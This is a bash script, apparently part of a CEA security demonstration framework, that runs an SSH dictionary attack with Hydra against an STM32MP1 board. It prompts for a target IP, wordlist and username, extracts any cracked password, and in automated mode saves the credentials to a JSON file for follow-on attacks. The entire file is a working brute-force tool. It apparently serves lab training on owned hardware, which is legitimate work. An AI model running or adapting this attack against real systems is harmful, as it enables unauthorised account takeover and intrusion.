#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Function to request necessary information for performing the attack
get_attack_info(){
    
	read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	while ! (ping -c 1 -W 2 $target_ip_address > /dev/null 2>&1) 
	do
		echo ""
		echo "[!] Invalid IP address or host unreachable"
		read -p "[+] Please enter the STM32MP1 IP address : " target_ip_address
	done

    echo ""
    echo "[+] Please specify the dictionary name to use for the attack."
    echo "[+] The dictionary file must be located in the 'dictionary' folder."
    read -p "[+] Enter the dictionary name (default : admin.txt) : " dictionary_name
    dictionary_name=${dictionary_name:-admin.txt}

    echo ""
    read -p "[+] Please specify the username to use for the dictionary based attack (default : root) : " username
    username=${username:-root}
}

# Function to perform the dictionary-based attack using Hydra
hydra_dictionary_attack(){
    wordlist="$SCRIPT_DIR/dictionary/$dictionary_name"

    echo "[+] Starting the dictionary attack. This may take some time depending on the size of your dictionary."
    result=$(hydra -t 4 -f -l "${username}" -P "${wordlist}" -v ssh://"${target_ip_address}:$SSH_PORT" | tee /dev/tty)
    echo ""

    if ! echo "${result}" | grep -q "password"; then
        echo "[!] No valid password found. Try using a different dictionary or username."
        exit 1
    fi

    if echo "${result}" | grep -q "0 valid password"; then
        echo "[!] No valid password found. Try using a different dictionary or username."
        exit 1
    fi

    password=$(echo "${result}" | grep "password:" | cut -d' ' -f11 -s)
    echo "Password found : ${password}" 
    if [ "$is_automated_mode" -ne 0 ]; then
        # If you are in automated mode, save the found credentials in a file. These credentials can be used to carry out other attacks.
        echo -e "{\"ssh_username\": \"$username\", \"ssh_password\": \"$password\"}" > "$ATTACK_OUTPUT_FILE"
        chmod a+rw "$ATTACK_OUTPUT_FILE"
    fi
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the SSH dictionnary based attack
attack_step_by_step(){
	echo ""
	echo "======== STEP 1 : Configure Attack Parameters ========"
	echo ""
    echo "[+] First, we need to gather the essential information to set up the attack."
    get_attack_info

	echo ""
	echo "======== STEP 2 : Perform Dictionary Attack ========"
	echo ""
    echo "[+] Now we will begin the dictionary-based attack using Hydra."
    echo "[+] Hydra will attempt to crack the SSH password by trying each entry from the dictionary file."
    echo "[+] Press ENTER to start the attack..."
    read -n 1 wait
    
    hydra_dictionary_attack

	echo ""
	echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
	echo "./exploit.sh -all ${target_ip_address} ${dictionary_name} ${username}"
}


# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive(){
	get_attack_info

    echo ""
    hydra_dictionary_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
            hydra_dictionary_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            hydra_dictionary_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

cat << EndOfMessage
==============================     SSH Dictionnary Attack   ==============================

                                ┏┓┏┓┓┏  ┳┓•  •            
                                ┗┓┗┓┣┫  ┃┃┓┏╋┓┏┓┏┓┏┓┏┓┏┓┓┏
                                ┗┛┗┛┛┗  ┻┛┗┗┗┗┗┛┛┗┛┗┗┻┛ ┗┫
                                                         ┛
                       
EndOfMessage
echo "[+] You are about to initiate a SSH dictionnary attack !"
echo "[+] The goal of this attack is to retrieve valid SSH credentials by trying a list of commonly used passwords."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
PAYLOAD_SERVER_PORT=4554
SSH_PORT=22

# Variables used for automated attack mode
ATTACK_OUTPUT_FILE="$SCRIPT_DIR/../tmp_attack_output.json" 
is_automated_mode=0

# If script is executed with exactly 4 arguments, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
    attack_phase=$1
    target_ip_address="$2"
    dictionary_name="$3"
    username="$4"
    
    is_automated_mode=1
    attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
            ;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0

